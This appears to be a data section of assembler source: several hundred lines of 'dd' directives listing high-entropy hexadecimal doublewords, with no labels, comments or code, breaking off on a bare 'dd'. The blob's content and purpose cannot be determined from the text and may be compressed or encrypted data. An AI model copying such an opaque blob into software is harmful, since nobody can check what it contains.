dd 0E13FA6F4h, 3FA1091Eh, 19E4589Ch, 84607449h, 80106CD4h dd 0CA7ABEF7h, 19EE00CBh, 4DDFDA41h, 1095133Ch, 1012C4h dd 0CF81AC1Ah, 2EA35F67h, 320126B0h, 1823A9EDh, 44603870h dd 2644502h, 182952F4h, 5C473Ch, 0B9FC717Eh, 217F7296h dd 693B1307h, 0F944B3Ah, 88972B40h, 487291CDh, 0DD9F6A00h dd 42D53F4Dh, 0F94A009Dh, 56080F13h, 0EC9455CFh, 0B5F256Fh dd 0CD07EC80h, 1C9C40h, 0B6958C7Eh, 0B95486D8h, 10E6DD4h dd 40E01626h, 132B100Ch, 0AB5E0060h, 0AF1E7F6Fh, 0BE5F9B44h dd 6692AC00h, 0B015F08h, 0EFB1C4Bh, 5AFFC4A1h, 3774209Dh dd 26E9E00h, 5298C150h, 0BA11F719h, 702A6074h, 888F0B0Bh dd 0C188041h, 784783D7h, 0B77C0406h, 0B40B61DBh, 0BE4B04D0h dd 5881D48Dh, 5D11F0C0h, 1E708583h, 2CC08E9Bh, 2E297FA9h dd 0D3FB2Ah, 856FE77Ah, 90A131E6h, 7BA0C3Eh, 0B15A99C0h dd 34009B71h, 35B481Eh, 8C52DCA4h, 5830390h, 9821177Ah dd 0B8803B5h, 6B3F3A6Dh, 902F6AEh, 0ECC693B2h, 0D6DF0E0Eh dd 0CFE0829Eh, 9445154h, 0B006284Dh, 0A301B0F2h, 94AB045Eh dd 808B60E1h, 30846EB9h, 0D19A4088h, 4737986h, 0A368C9D7h dd 0ED6FC61h, 175AB1E4h, 4253E0C8h, 7E13704Eh, 2002300Ch dd 61B1900Ah, 27103688h, 70F4243h, 9EDAC6h, 0B90F624Bh dd 798161CEh, 0D0718B7Fh, 18B96D38h, 0DAE7E980h, 1E1B5BE6h dd 53ADEA6Eh, 7D4C218Ch, 0D9FC6FF0h, 72FC9000h, 42B15CEDh dd 11EBE403h, 0BA1CA27h, 0FF569EF8h, 0D40E8844h, 64E0EA3Ah dd 4DC0F2EBh, 1DBFC6C4h, 1A538B06h, 0C46229B9h, 5C2BFC40h dd 0F1C0F094h, 0A2C4B9B7h, 0F8B46014h, 9C4E5830h, 2656731Dh dd 55E1ED5h, 92519B0Bh, 6C7859C8h, 20910424h, 18038380h dd 1DB10DFAh, 3937E7E6h, 0B0FB718Eh, 0D94426E7h, 8B80842Fh dd 187A90A9h, 891259E0h, 500057DBh, 0B11D5A9Bh, 0FAD70F8Ah dd 0EBC9915Ch, 0CC426C44h, 4C03544Ch, 9E7B7CF7h, 6B275812h dd 74D23089h, 0BD744178h, 18EE3026h, 74013AF9h, 2BB0044Ch dd 161464h, 0BF500148h, 395CD267h, 1B2A3090h, 0C4EC8C4Dh dd 4E2E7C00h, 53C3D7F1h, 0B859763Eh, 0D0E82268h, 7C30B309h dd 957B8191h, 98ABCFEBh, 5DC30070h, 1DFA43A2h, 0AC1AEB26h dd 65C89301h, 0A3F98CADh, 301FCC20h, 0A9086D21h, 7B053273h dd 1078D1B7h, 425D40C0h, 8D0D0B1Bh, 0B49097C3h, 1501453Bh dd 0D3A0C722h, 203A731Ah, 0C01748E4h, 26441800h, 981E96B8h dd 0CCB6508Eh, 0C8944B2Ah, 2B0084E0h, 23B3288Fh, 548547DFh dd 0BFCC35h, 4277ABF6h, 0E2E92E69h, 4C3AA9F8h, 0DB267AA5h dd 0C5083880h, 0FF4E8E8Dh, 0ADA79360h, 610028C0h, 0CED0B1D7h dd 0B807541Ch, 0B7E112F8h, 9720CCBEh, 6B8384B4h, 0A2174237h dd 0DE0DF1Ah, 0B80371D8h, 24906A16h, 0A0C084ABh, 2641CCCFh dd 11185EBFh, 61301744h dd 5F772002h, 8850D7h, 0AFA75D74h, 0D3E2BE85h, 0A11BFD25h dd 0E3B96F6Ch, 2C1513C8h, 11444F18h, 1B760365h, 0B0A6BE5h dd 7B1DE9C0h, 0B8EDA484h, 9ACEC268h, 6A1C76AEh, 1242430h dd 0B5316EEBh, 35AE00Dh, 0D7216860h, 1650766h, 7973F07Bh dd 23B2BE7Dh, 0FA1F0FD8h, 1E28745Ah, 0B0C17EBh, 9E8911D2h dd 0A6A78190h, 0CC1DFB10h, 77003C73h, 0F5B9F740h, 3CC9DC8Ah dd 0ED85D0C6h, 0E69F53h, 0E942CA6Ch, 70940899h, 1F96C940h dd 0ECC70B74h, 13803712h, 2471FC45h, 8F52DB14h, 35021B4h dd 8E34EFB6h, 7065E94Ch, 0CF616B61h, 0AC364438h, 0C8D7C113h dd 30769A94h, 0FCEFA201h, 0DDB14512h, 98399531h, 0A774FF00h dd 3EEA9F40h, 0E7226E1Ch, 68F7E140h, 2C025C26h, 6047A8h dd 14CDEABh, 0C4999965h, 4090FC00h, 796C59ACh, 12A0C13Eh dd 106AE931h, 1814CA1h, 4FD44A99h, 20B340D8h, 0CA0159A1h dd 0BE015C30h, 0B0D1EF8Ah, 2256E420h, 69005B1Bh, 8B68CABBh dd 1597911h, 6D0B97A8h, 2C129AA9h, 427580B8h, 0C2772Fh dd 9FFF878Eh, 0D4F1C901h, 0B6D24502h, 61D958BBh, 0B813805Ch dd 20406EF7h, 0EFAF5309h, 3644D898h, 30014961h, 6321B890h dd 8979A902h, 0B9385AE5h, 0DA6D00E4h, 0C90C3E4Fh, 9EA9FF1Dh dd 0D0925C00h, 27B85D2h, 431465BEh, 0A454574Fh, 24748941h dd 9C9ACCCh, 0EF200447h, 8E1A082h, 0C71E54F9h, 52975642h dd 42207CBFh, 0AE206DE6h, 19E381h, 2F93F3B9h, 89AD5C14h dd 302702B8h, 38941054h, 15A300E8h, 720ED5C3h, 721A286h dd 93638E04h, 7F6C6020h, 0CB02A856h, 6B3C789h, 84546052h dd 6D94010Ch, 0AEF71AE9h, 0CFA8306Fh, 0AD389F39h, 0D988905Dh dd 0B99E01BDh, 0B3BEFF49h, 0C4B9A718h, 0F94B00DCh, 0D5F20431h dd 0D000B71h, 9C272BA6h, 1C14AED8h, 0F0B99A8Eh, 0F54EA878h dd 0DBAC5100h, 7C240919h, 1F4D0995h, 14B0DE8Ah, 6E38BED8h dd 4CB68006h, 8AEB07C6h, 64A09D98h, 55FDA7ECh, 22B92800h dd 9F31D6DBh, 0B68F0199h, 0E689A86Bh, 0A028472Bh, 425FCFFDh dd 0C509D9CEh, 0AC816201h, 8BED6A27h, 53005063h, 7C09E199h dd 7A124C4Dh, 20CCB3Ch, 7589304Bh, 44F77436h, 0B801F3D6h dd 0BD090F60h, 0C080B954h, 5B4922BFh, 0DE9856B1h, 5E174099h dd 206E501Eh, 0A0436817h, 1D338FE3h, 0E7898C18h, 0EE5A6891h dd 0CABEB056h, 0DEC71840h, 0C48594h, 0C566C952h, 743B070Dh dd 1C060B13h, 40F0C007h, 0CCD7B7D0h, 0F95C6155h, 23D94F30h dd 46B101BCh, 0AD6995F2h, 3C6DDE8h, 1FF4A2Fh, 0C209437Ah dd 4856CF5Fh, 16E76Ch, 605D597Bh, 898E7376h, 4CADEC2Ch dd 94D03296h, 7E038471h, 777E02C9h, 0E1886818h, 0D46CB091h dd 94003DDDh, 47A56A0h, 58D6CCABh, 6E024061h, 1424F562h dd 0F008C59h, 7385D4E0h, 0AFB40161h, 0CE0E15ACh, 34E0EF36h dd 0BF403386h, 241E5CB1h, 0AD8F93C0h, 714C28F1h, 85361280h dd 300700B3h, 4B01778Bh, 2C9FB8E0h, 183A4Ch, 9A4229B1h dd 4CA270EEh, 1C803C96h, 9C5A4F40h, 0C25B4C0Bh, 84F48865h dd 3821E212h, 0D7E4ACAAh, 9CE4F217h, 95B38030h, 0E89DE344h dd 0C4C3D2Eh, 0D64B8E03h, 27F82E62h, 60302E0Ch, 99B924E1h dd 0C3815492h, 30870C5h, 8AB8130Eh, 2AB980B6h, 528B3180h dd 6303B0EAh, 0B0DB46B7h, 0FD877CE0h, 56C4B09Dh, 0F02F894Eh dd 5A58687Fh, 12EC4C8h, 0FA2DB4CCh, 0B7840004h, 0EB40AB10h dd 3001D8E5h, 55E7E1F5h, 0C2FF151Bh, 767464E9h, 817114F7h dd 81DEC4E4h, 0A990070Ch, 98060ABh, 12E16100h, 450E5062h dd 0B95527A5h, 0D900F4E4h, 38F7A670h, 282B7446h, 0D01640h dd 4DFA5399h, 6C1AF5E9h, 0F7586EE8h, 3FAF1575h, 0F1900338h dd 0AC67F365h, 78B4B2h, 0BFB1FF13h, 0A4687161h, 1CE1A209h dd 0C0938B6Fh, 4FE3ED14h, 0E68C0217h, 687C2315h, 0B9608C68h dd 3D69A83h, 3148356Ch, 4D802601h, 7A2C6605h, 583DA42Eh dd 0B3741288h, 8C0094F3h, 9DFB46B2h, 8200C390h, 5DA75B02h dd 9950659h, 74523F2Bh, 0A3B3000Fh, 0FAE40484h, 98A4F385h dd 18981Eh, 7CF979F6h, 5A8A63FFh, 10F40A53h, 909B513Eh dd 91B81FC8h, 24154713h, 71D1E80Eh, 8A0CCC4Eh, 2B131370h dd 90C8F15Dh, 740F017Bh, 0E28FCCEFh, 0D0FC6159h, 0A09486CFh dd 9EF25D80h, 0EAE39CD4h, 17EF3971h, 0FC50AAB4h, 168458CCh dd 2CF41801h, 53700092h, 1E8ABD89h, 8E3DD472h, 40FB00F5h dd 0D0CD43E1h, 187D272Bh, 706AC8C1h, 0EAF602F8h, 359AD706h dd 6075C7h, 0D1718FB7h, 25C6F3E5h, 0C4017A27h, 3BC200F0h dd 0E2BB88C9h, 1D009F74h, 8BA17FB8h, 0B5DDB0Dh, 0D0ED89B0h dd 8414018h, 0E803FA16h, 0FF5F0B2h, 62018B20h, 61FBCE40h dd 0C06DF1A8h, 989D1EFDh, 48066BD8h, 0BB8708E8h, 532150CBh dd 440F20DAh, 0E027524Ah, 5ED6E8FFh, 9D00369h, 8E5004F8h dd 138764E8h, 0C82530B8h, 46B03830h, 187E0116h, 0B6696B45h dd 1547341h, 0DE3B374Fh, 75EC1B13h, 0E8D6251Dh, 0CFBF2420h dd 0D501E76Dh, 515E790Bh, 0DC7C064Ah, 893D2904h, 0D0E40BAh dd 81904h, 957D6E7Bh, 439AFC65h, 27BBA21Eh, 0B9259047h dd 34A4D014h, 0C4754E5Eh, 60CC086Ch, 7333ED80h, 986A02h dd 0E6AA8756h, 4763D43Eh, 7129371Eh, 0C4B911C4h, 600598ADh dd 0C284F51Fh, 5320D6C0h, 4722988h, 0B9F901B2h, 0D568C26Dh dd 6608028h, 399209Ah, 0B490CB3Bh, 0E03BF389h, 880C2416h dd 7A41E21Eh, 0D203E42h, 1C200F6Bh, 0FED08A80h, 0B9041863h dd 5208B680h, 569EFCC1h, 0E84DC60h, 46A5827Fh, 8AB9BEE2h dd 88AAA784h, 68E16140h, 4F5584D8h, 29B9095Fh, 0DED08C00h dd 0FD0FC8E7h, 965B4EB7h, 8B91081Dh, 78E88915h, 7EE14C77h dd 93073D05h, 80B0EC66h, 924DFE18h, 35240B20h, 200B6876h dd 0D0D3442Fh, 6313BD88h, 38D7D800h, 3BBAC8Fh, 70500256h dd 3219E9F0h, 0CA2A120h, 66B60529h, 0B20360FDh, 9FA32468h dd 0E01DEF0Fh, 74645EA0h, 9C821322h, 0D0ECF04Bh, 0C9F00200h dd 0CBB692D6h, 0EB470086h, 48D1CE2Eh, 0DE380DE6h, 7A0E5CA6h dd 0D4301A60h, 0EC37945Eh, 308F6AFh, 0D5F0B081h, 79B8F80Fh dd 9701BBCEh, 439D56E3h, 3E20A1E2h, 46C03882h, 0D2AE6D80h dd 0AAD40340h, 57EECBFCh, 0AB0E4EE0h, 6BA7EEFDh, 1C1C80E5h dd 7571A18Eh, 30532EEDh, 0B4230059h, 0B992BDA0h, 87E231E9h dd 0AB694349h, 37A3A04Ch, 0C0A82A2Dh, 49E4684Ah, 757CB70Ch dd 6612A48h, 230C92E3h, 0CF30D115h, 4E5A3127h, 9C253ED1h dd 30EA3A04h, 0C8C1C17Ch, 0D0208012h, 7D94E087h, 1CFE00CCh dd 2A74EDBCh, 7B00A6B9h, 4A0B7731h, 18F8C065h, 592CCF7Fh dd 800C274h, 11C4AE46h, 173A9FFh, 23375F14h, 437236A3h dd 46D47764h, 0EAA1B3CDh, 4EC10080h, 798CA9Ch, 6E00E016h dd 9B4A1038h, 44E15A09h, 0B00758E4h, 146B6FB2h, 0F2824A41h dd 7B0CCEF0h, 34B789Bh, 0D9CFAD8h, 6133A454h, 3A14A7Ah dd 0C3D3B779h, 0BEA0E4F5h, 700A828Fh, 0A02B10FFh, 52DB5000h dd 6639444h, 0FECA2DBCh, 9CCA681Bh, 0C5802409h, 0A3A7419Dh dd 48EE3877h, 2839780Eh, 42C1C0A1h, 0E0C16AA8h, 89BEAE2Dh dd 90252B8h, 248D4458h, 11B08491h, 1DCE8EDh, 6B2600B1h dd 0C53CEB7Dh, 3B0043CEh, 0E7BF4BBAh, 1B72BDCh, 0E2CDE653h dd 85D57744h, 43B42F49h dd 26FE2C28h, 9576EFh, 0FF93F555h, 0C0E403B3h, 0C582EB01h dd 1B695951h, 1C708040h, 11E22A1Dh, 0E72C03B8h, 17355ECCh dd 0DE0BF87h, 3805F975h, 0E093DF00h, 83C92CD7h, 9AC70CC8h dd 5881AC4Bh, 0B0235400h, 7BDF50B4h, 0A848007Dh, 0C82C6743h dd 311D74DCh, 0C5C0B532h, 64930DB4h, 0AE7F3044h, 676C9F41h dd 46015B06h, 1C91E9C8h, 41108D97h, 7CBF93ABh, 0EA2AC844h dd 777E2104h, 948848BDh, 8FCF00E4h, 788C0DE0h, 0E20C4BE3h dd 2125489Fh, 82981C4Ch, 9BB4094h, 99546229h, 0D27E5900h dd 0BE6B399Ch, 70B9247Bh, 5C9360A0h, 0E104EC29h, 0E908AB35h dd 1928D482h, 7D550864h, 0E95F0E6Fh, 0EBE0B6ECh, 7DD349ACh dd 6EF72A2Ch, 0E687271Fh, 3DE0313Fh, 9F8328h, 93BDA1DFh dd 2230FD82h, 9CA03528h, 0AFCC5B15h, 838900E8h, 4F841F3Dh dd 45BA00C4h, 0DDE33C4Bh, 9B0A0D98h, 98E5E272h, 0F657C480h dd 3021BB2Fh, 0B1C926CFh, 74007344h, 0FD930CFFh, 4876E370h dd 0DF01A047h, 0C3E13BB2h, 0E6C71017h, 0B9DE3A96h, 0AE4BE98Eh dd 442CFC21h, 13D3C075h, 2AC54903h, 1F458B8h, 0FDC302D8h dd 4883444Bh, 80079EE8h, 470CF50Bh, 0C4064C5h, 799BC09Fh dd 0E0800659h, 0C8B21C4Bh, 0FFE2D811h, 11424D03h, 1A8871E8h dd 0C090C573h, 0CD306CFAh, 5017A9ABh, 602848ECh, 81F60C22h dd 0F1F2ED0Eh, 0A9FD80BAh, 35FEBEAh, 70B8C383h, 8900A04Ah dd 1408061Bh, 21545C9h, 0E579DE7h, 0CC4C3AEh, 274F721Eh dd 0B05A8700h, 0E67B9D11h, 0F7430A15h, 3A03485h, 8BC1E568h dd 0F5F8DFE8h, 0B0668300h, 0CFD94EA7h, 149243h, 6DE7742h dd 0FF176CAh, 0AD1FFC07h, 9E6071BFh, 484586EEh, 6600C80Eh dd 3C435964h, 704CBBDBh, 15887BECh, 0E90161C4h, 0F447ADB1h dd 0F1247D4Dh, 0C420B02Ah, 0BBDE4416h, 12F21401h, 3180EAA7h dd 9EECDA81h, 3090A3B3h, 3B9C5903h, 0C34068E4h, 42F08A54h dd 0BC4499h, 723AFD17h, 4C2C7F9Fh, 3CF7821Ch, 0C174E140h dd 58A30D91h, 0A9800895h, 7709B636h, 314A0409h, 0A1340794h dd 0D0EFCEh, 276B6802h, 0F60701ECh, 0F37F088Fh, 5022D3h dd 0C6B3CA7Ch, 74E311h, 56EFC165h, 7EE25CCEh, 34E12700h dd 0C41D4EBh, 2288A62Eh, 0D14CE5C3h, 0FC110098h, 5DBA587Eh dd 327037Ch, 7598AEA9h, 1D0F5878h, 6147AF87h, 0AB155C41h dd 134112C3h, 0C12C2022h, 0B6065777h, 0A965444Ah, 66D8EF71h dd 5D8B0C4h, 966FC5E7h, 1448148h, 0D52CE070h, 4E9A4B02h dd 46B549A3h, 0F8DC0454h, 82800D4Fh, 7C24D590h, 0A381E8C1h dd 2BD26410h, 0A2D788A8h, 81B4EA38h, 9B217D5Bh, 2980264Bh dd 0E555BE49h, 0B90004A8h, 0CEBD6B40h, 0ADE66D8h, 0BA76E25Fh dd 304F13A6h, 0BB21F600h, 0CDD1C0Ah, 65004C28h, 5B5E2D82h dd 0B1E1h, 0C9B19D38h, 4601F619h, 2B8614D2h, 0AC3092ECh dd 0B22207B3h, 617DFC27h, 0F4B897BDh, 9A09984Eh, 205FCF7Bh dd 0FB718978h, 995A076Dh, 505B61CBh, 0D1A90F4Dh, 0A54A5E00h dd 0DEC14BB5h, 1365E8D2h, 20C3F096h, 0D8479C78h, 5600D972h dd 0BCDE8070h, 12314B91h, 21290CFDh, 30E02A00h, 7B4CA0B5h dd 8C9F0E48h, 0AC15C392h, 0C7D100F6h, 83491C7Ch, 0E3308AC0h dd 2FFE19EBh, 450C0401h, 80BE64EAh, 4CC0C110h, 19BC4A00h dd 3531D9FAh, 1DC4039Bh, 27A3FE8Ah, 0B7AA008Ch, 9EF440h dd 0B3E581D1h, 157C0886h, 18A4AF52h, 16A9A249h, 29F00172h dd 6C31D219h, 0C73B7022h, 9A997400h, 4A642BDDh, 6F015833h dd 39E1803Fh, 22A915D9h, 925A0050h, 36860DAEh, 2BA00942h dd 8490A8CCh, 0A30201CBh, 0A1E22860h, 1E185295h, 827570A7h dd 31A0D0EDh, 0F5003044h, 51207BB8h, 11403284h, 384A13h dd 5B76B568h, 0FAD95C90h, 0F2FEC1h, 6A07F93Bh, 0CD351224h dd 24A0305h, 0B8048A67h, 494BF5DDh, 2BC8B813h, 0D800170Eh dd 329A4116h, 737BA6h, 52DFB072h, 9EB721B8h, 8F4A153Ah dd 4248D77Fh, 62312B71h, 0B240023h, 730DBA7h, 8DE73AE9h dd 0EEA2093h, 0E5123661h, 4C888091h, 45C02EE0h, 3CE80246h dd 98645015h, 0A19B1313h, 0BFF8D800h, 1F2AC43Dh, 964D6A6Fh dd 4CE820D2h, 27B3FEBh, 0DA7BF400h, 0A1F9D1F0h, 0C04A4871h dd 78ABB080h, 99009C7Ch, 0C94F8F1Eh, 0BA090Dh, 3A13A2DCh dd 79E0B227h, 5891313Dh, 0EA11C3ACh, 0BA67D1ECh, 5ADBE8h dd 0D15018C0h, 53DD83BDh, 0D3D4A00h, 0DC1B5788h, 0D92867D2h dd 0BE60601Ch, 0C01793Bh, 9A05CE83h, 2181C115h, 317255D0h dd 0A69360FBh, 4461454Ah, 182E5554h, 0F359E910h, 5E87A200h dd 0ED64A772h, 0E1AF604Bh, 6DB5078Dh, 578B0900h, 0ECA5C7Fh dd 687E585Bh, 0F4F127C0h, 4100615Ah, 2684980Ah, 22DA71h dd 49642F08h, 922EF368h, 2CE84890h, 0E82BA988h, 0B57E0A96h dd 40BCCFDEh, 28B797E1h, 4AE07200h, 0D14C840Bh, 24DDE392h dd 0A82F710h, 0A5AFCB00h, 12805796h, 162FE053h, 0EFEC835h dd 2277903Ch, 0AF42B0C8h, 96568FC0h, 19C0ADFEh, 0DF7EE839h dd 3B210F19h, 5F4E18B4h, 800A0E05h, 0A849F09Ch, 672F7105h dd 886A44h, 0B9C4FF65h, 5499C2h, 0A261A4F3h, 7010CC0h dd 0D149BC4Eh, 218019CDh, 0EEE3C2D9h, 0DC0005A0h, 0F9A64808h dd 1F8ADBABh, 0DDAE59h, 5420735Dh, 752E74C9h, 0D214CC55h dd 88348098h, 4C89DB09h, 8400E64Dh, 0B2A79CC4h, 0D5732ACAh dd 0BE75F605h, 0E0204AF7h, 0DC80BBh, 0BC6B2C65h, 3448A969h dd 6456E302h, 63E468E7h, 0C8C8D533h, 310B00BFh, 53B4F652h dd 5800D15Eh, 4E432A51h, 73BA24h, 0CC824B1Dh, 2CBBF19Dh dd 6937B97Eh, 0CBC9413Ch, 0F819F83Ch, 0FE2600D2h, 99633C68h dd 0DA0364CAh, 2BA31EC4h, 97D9062Ah, 3928A0D2h, 62005490h dd 63C8277Fh, 0B3C7DA6h, 4C2AF282h, 0C8B088h, 2EAD9C3Ah dd 783D0E96h, 0E85236h, 0EE572A94h, 2C3CD5E4h, 380028F1h dd 0E6A0C44Ch, 0F4005F9Bh, 89F1CBD2h, 0F28B6382h, 337D47h dd 97FC2CCAh, 0E338FD83h, 8241FE60h, 0E50BE6h, 81989E7Dh dd 0E1920380h, 684B9F2Eh, 2AD562Fh, 32FF3A6Bh, 4C02A0E6h dd 12B7E669h, 649884DBh, 0B3CCE8E2h, 0A9044278h, 92EE3C4Bh dd 0D827ACC3h, 7C778C7Eh, 0BA1CA0F9h, 0AE080084h, 0E34AEA86h dd 0A0ABB6C3h, 89A01583h, 0C6076D36h, 7C259065h, 0E3B21DE0h dd 0FA311673h, 622C204Ah, 511DDC4Ch, 3D443322h, 9847732h dd 60CD00C8h, 41745914h, 1200E1EAh, 50ED43DFh, 77A3C24h dd 3A480535h, 9CC50011h, 0D0586686h, 0BA787CD0h, 900958F4h dd 90AE150Fh, 6E82C0h, 0D994430Bh, 0C568ED4Ah, 13E24718h dd 0FE4421h, 791C978Fh, 0F0D63822h, 70459000h, 5ACA2C49h dd 0B29F3E55h, 4A191180h, 0B61A3299h, 0A4F57A3Dh, 5A608029h dd 0E740EB9h, 9996D7C7h, 0C709E584h, 0E47227F8h, 0DB9CF073h dd 7E446E14h, 83748FB0h, 0D8F91952h, 3C930C49h, 0AE8150B4h dd 0D93BAA47h, 9BA8C469h, 72BCD313h, 2FDC68C9h, 0FD380056h dd 29C11B21h, 0E60B4264h, 904B9A33h, 0B6F0F0h, 5025DF30h dd 0EB8103DAh, 1BE9BB00h, 0CDB8FC7Ah, 3951C0ADh, 0D2C69E12h dd 0A0788909h, 8408922Ch, 7E40D524h, 0DEAE9854h, 0F00C4A2Ch dd 3818650Ah, 0C51CD381h, 29F00D9Fh, 0CC40007Fh, 0B190BA5Eh dd 60058353h, 4B2B9A5Fh, 49638802h, 240C6199h, 6F18910h dd 924ABF00h, 0A616367Eh dd 9C7301E9h, 0A1B01461h, 4FBAF465h, 87006790h, 8396B855h dd 2CBF0DDBh, 407CCD26h, 0F25D4F9Ch, 9CF74524h, 21FFBD00h dd 13FEE233h, 0A54696h, 0D3A02A14h, 54B172A9h, 0A239E080h dd 3F9B549Dh, 438B90E8h, 7400BDA3h, 8508692Ah, 0B6C222h dd 0B2976366h, 0CE7CB01Fh, 8D9DC003h, 0B947742h, 0E512DA30h dd 615BE486h, 840C84Ah, 530E6904h, 0A028E61Ch, 0C709BA9h dd 0DECD6CB1h, 0EE00D861h, 0F3110749h, 15FF11Bh, 33AF5691h dd 0D92EB10Bh, 27EB30F9h, 16151C00h, 745857FCh, 0AE4B504Ah dd 3C450434h, 8D4947DFh, 8F1FFC58h, 5B3F4100h, 0E5FFAE1Dh dd 93C52E44h, 4BE30293h, 2C64C415h, 0A7211318h, 94AFF91h dd 0E22FE59Ah, 0C3F7F468h, 0F349E900h, 15CE33E4h, 0FB2C0071h dd 4602BD9Bh, 65704A08h, 4FC0964Ch, 10E1D446h, 0EFB90041h dd 98014891h, 2801F861h, 30B2DCCAh, 0F3C80B36h, 0A86C00B5h dd 0C82A6758h, 0BB747D5Ah, 110744h, 6F3AB859h, 0A35ACF5h dd 5FFD820Eh, 683CA0D9h, 15A559Bh, 206A69A4h, 23397744h dd 0CB73DC0h, 9942CF98h, 0F7E7244Ch, 54C70026h, 9CE27D76h dd 91121903h, 5ACF30h, 795EAB29h, 0ED51422Bh, 8C49F200h dd 0E10C8D19h, 96A11DD7h, 7C460182h, 0C74BE025h, 0D455C3C0h dd 0AC54E174h, 7B2E51A8h, 730134CDh, 59E4DEE3h, 783A8C73h dd 9FA15A00h, 71958331h, 4C42558h, 4ACF2893h, 81BC88h dd 909964EDh, 0FFD71F41h, 8A054B02h, 60119132h, 9A6BA2Ch dd 0D129A357h, 0FD94EC10h, 80FA6204h, 0C8B255E9h, 7800AE3Fh dd 0C4839E68h, 71000812h, 0FE1C2DB5h, 47DA2D7h, 6E33BF87h dd 988CC07Ch, 0A93B96ACh, 4F137C62h, 68D3CDBCh, 80088B80h dd 2EF7E3h, 627C8DDh, 16E0AE21h, 5015D412h, 2D132421h dd 4516D1BEh, 86C890E2h, 0AE01D375h, 0ADE481BAh, 0B860F577h dd 0AF4A8807h, 0FE7D7A88h, 154500B3h, 0E6AC0CF4h, 9209CAA4h dd 6CDC36BCh, 7C355854h, 0ADD51C02h, 0AFC3B359h, 83493Dh dd 0CA8FCF08h, 1F802Fh, 8840B226h, 0DFF11281h, 0BDA9C2Dh dd 0D7E0036Ch, 8AF680C1h, 4024BC47h, 0E8A98370h, 0B3F4990Eh dd 283600B7h, 0BBA1E33Ch, 54550044h, 90C4309Dh, 0CA9F1707h dd 4469246Fh, 1C30044h, 3E791068h, 3B1EF875h, 9200BAF6h dd 2DDB97F7h, 8D4411C5h, 5C9A3BD5h, 12E40964h, 3C4CC8C2h dd 335C0073h, 0FA2774D7h, 0E4E8314Ch, 76E90B09h, 0CD588270h dd 0B3F4C13Fh, 12AA4C10h, 492F6007h, 0A4E04F09h, 26B4ED94h dd 206C2ABCh, 0B9801664h, 68FC0175h, 85F647C4h, 232BD750h dd 4909B41Fh, 9C64ABh, 4CB56805h, 0D2F5BE22h, 35D20h, 3901B42Dh dd 2EB0F430h, 0E0E7817Eh, 0A7607745h, 98E267E1h, 58600069h dd 0C4C99B4Bh, 54340C97h, 64A291DDh, 0CE485F00h, 9C259617h dd 5BB44703h, 84AF1593h, 2EA0CF41h, 1031AF24h, 90FF8E54h dd 0B251004Ah, 557B081Eh, 8A0501E4h, 0D2EAEB57h, 98DF388Ch dd 0C6BB0055h, 3031C3B0h, 600217Dh, 1EA6CC0Fh, 26B9B29Bh dd 0ACC2064h, 89B8F3B3h, 777E969Dh, 7C29BB00h, 5C0D9A47h dd 0D0073C9Bh, 81022772h, 0E437913Fh, 54B1D280h, 4F93C100h dd 0F304F6A5h, 3DA8F1FEh, 0F8C81Fh, 84EF93BBh, 66F60A80h dd 8382A91Fh, 4A441387h, 487CBB10h, 0F4177A8h, 93377AC0h dd 5882078Eh, 9090DD15h, 0AB0FDE82h, 2E4740A9h, 44740ADAh dd 2A703F80h, 3EDEBC2h, 0BA91A84Ch, 0FCAB154Ah, 56134113h dd 94CC1CD5h, 1B6C069Ah, 1874EA8Ah, 12C4F444h, 8B336Fh dd 0E2EDE584h, 0EB00B89Eh, 4BF1F89h, 140D7577h, 2CC3B1B9h dd 0EBF36307h, 0A0003929h, 66A9622Ch, 2095CFF8h, 2EFFEC94h dd 0A3243A27h, 82F9AC0Fh, 0E9C0B84Fh, 57F3470Dh, 14CB45Ch dd 45609256h, 0CD112583h, 0E66980B1h, 31EECBBEh, 52AD00E0h dd 5501F1B5h, 0DA7D1A64h, 42C3C5Ch, 0DDF0329Ch, 0B0EBB483h dd 0B6A7150Ch, 18E2981Ch, 3A5E44CDh, 53C28800h, 26F983E8h dd 407CE173h, 751D3D95h, 0EDE0C501h, 0CFA00607h, 0E600A83Dh dd 0D8B546F8h, 0E4A071A7h, 0D0B02E62h, 1B67821Eh, 391F19ACh dd 65A34F01h, 68404B32h, 0B12DDFh, 0F9A9CA16h, 0E799F49Bh dd 0EE754C02h, 0D1967E63h, 9A1800ACh, 0D38FF6A4h, 0E7017BF6h dd 1283A354h, 3FD1D66Eh, 0AC387ECDh, 25461780h, 0AD00A310h dd 903778CBh, 7F7AD361h, 89BB884Ah, 9775E01Dh, 0F20A5426h dd 0F147D4D3h, 37EF99D0h, 0B5FF0B36h, 805D78B2h, 0BB74302h dd 0B8862C19h, 0CA107DCh, 0A8901BE2h, 82028397h, 4DC4B26Bh dd 3FD0D0DCh, 27014C2Ch, 3ADB9BE2h, 0D8B8407Ch, 187C12CBh dd 7D92E000h, 290C4F3Bh, 9E609EA9h, 6F5580A8h, 0F2672397h dd 0CC839F00h, 0E25F4E8Fh, 5EA73E1Eh, 890DEC50h, 703949h dd 74C5DD6Eh, 0EF7D398h, 0B329991Eh, 0C988EDE0h, 310978C8h dd 52C2B894h, 19A700A0h, 273C1D5Ah, 7B0320CAh, 36870C7Eh dd 416DAA57h, 0C9D82B4Ch, 0D4822244h, 0EB314A07h, 0E1545395h dd 1AE20E4h, 93E2D63Ch, 0C88BB4AFh, 0C70988CEh, 0C0477473h dd 4CAB6FE4h, 9320D842h, 0FBDA0201h, 76433F1Ah, 0A3176039h dd 0DA18602Ah, 32265448h, 160B4C6Ah, 4A8384FEh, 9F658F4h dd 0CFD9A0B1h, 0C7761098h, 0D34D3900h, 0F7610C93h, 2AA025BBh dd 7F426844h, 2231A316h, 0E08091D0h, 75A09AC7h, 36A85806h dd 2FDA7A73h, 342029A1h, 7C0A3C4Ah, 0CD4EA708h, 63A38015h dd 0F0A96BFFh, 5AB84600h, 0BED2E31Bh, 6483173Eh, 0E0783121h dd 7ACC9C49h, 3525B900h, 0E3D478Bh, 0A1D8F2D6h, 1A313E01h dd 191170CEh, 225EB00h, 7FFB5394h, 554E0EA8h, 0D4A385C7h dd 77E0AAE2h, 0DE4E6058h, 98959820h, 7C2A0F44h, 0F46052B2h dd 0D23827A1h, 0B900B491h, 8DCA58EBh, 2DB000E5h, 53A96F28h dd 7D04C7B4h, 0CC082F89h, 0E224F4F4h, 80EE0078h, 0B2C4B636h dd 900A110h, 0C8EF5144h, 5B63AFh, 20FFD555h, 0B9B3ABADh dd 7232C0C2h, 6D0618Eh, 385C4912h, 4B5CF082h, 368E60EDh dd 72A60B1Bh, 8000807h, 24A35ABBh, 50010891h, 1A2EF13Ch dd 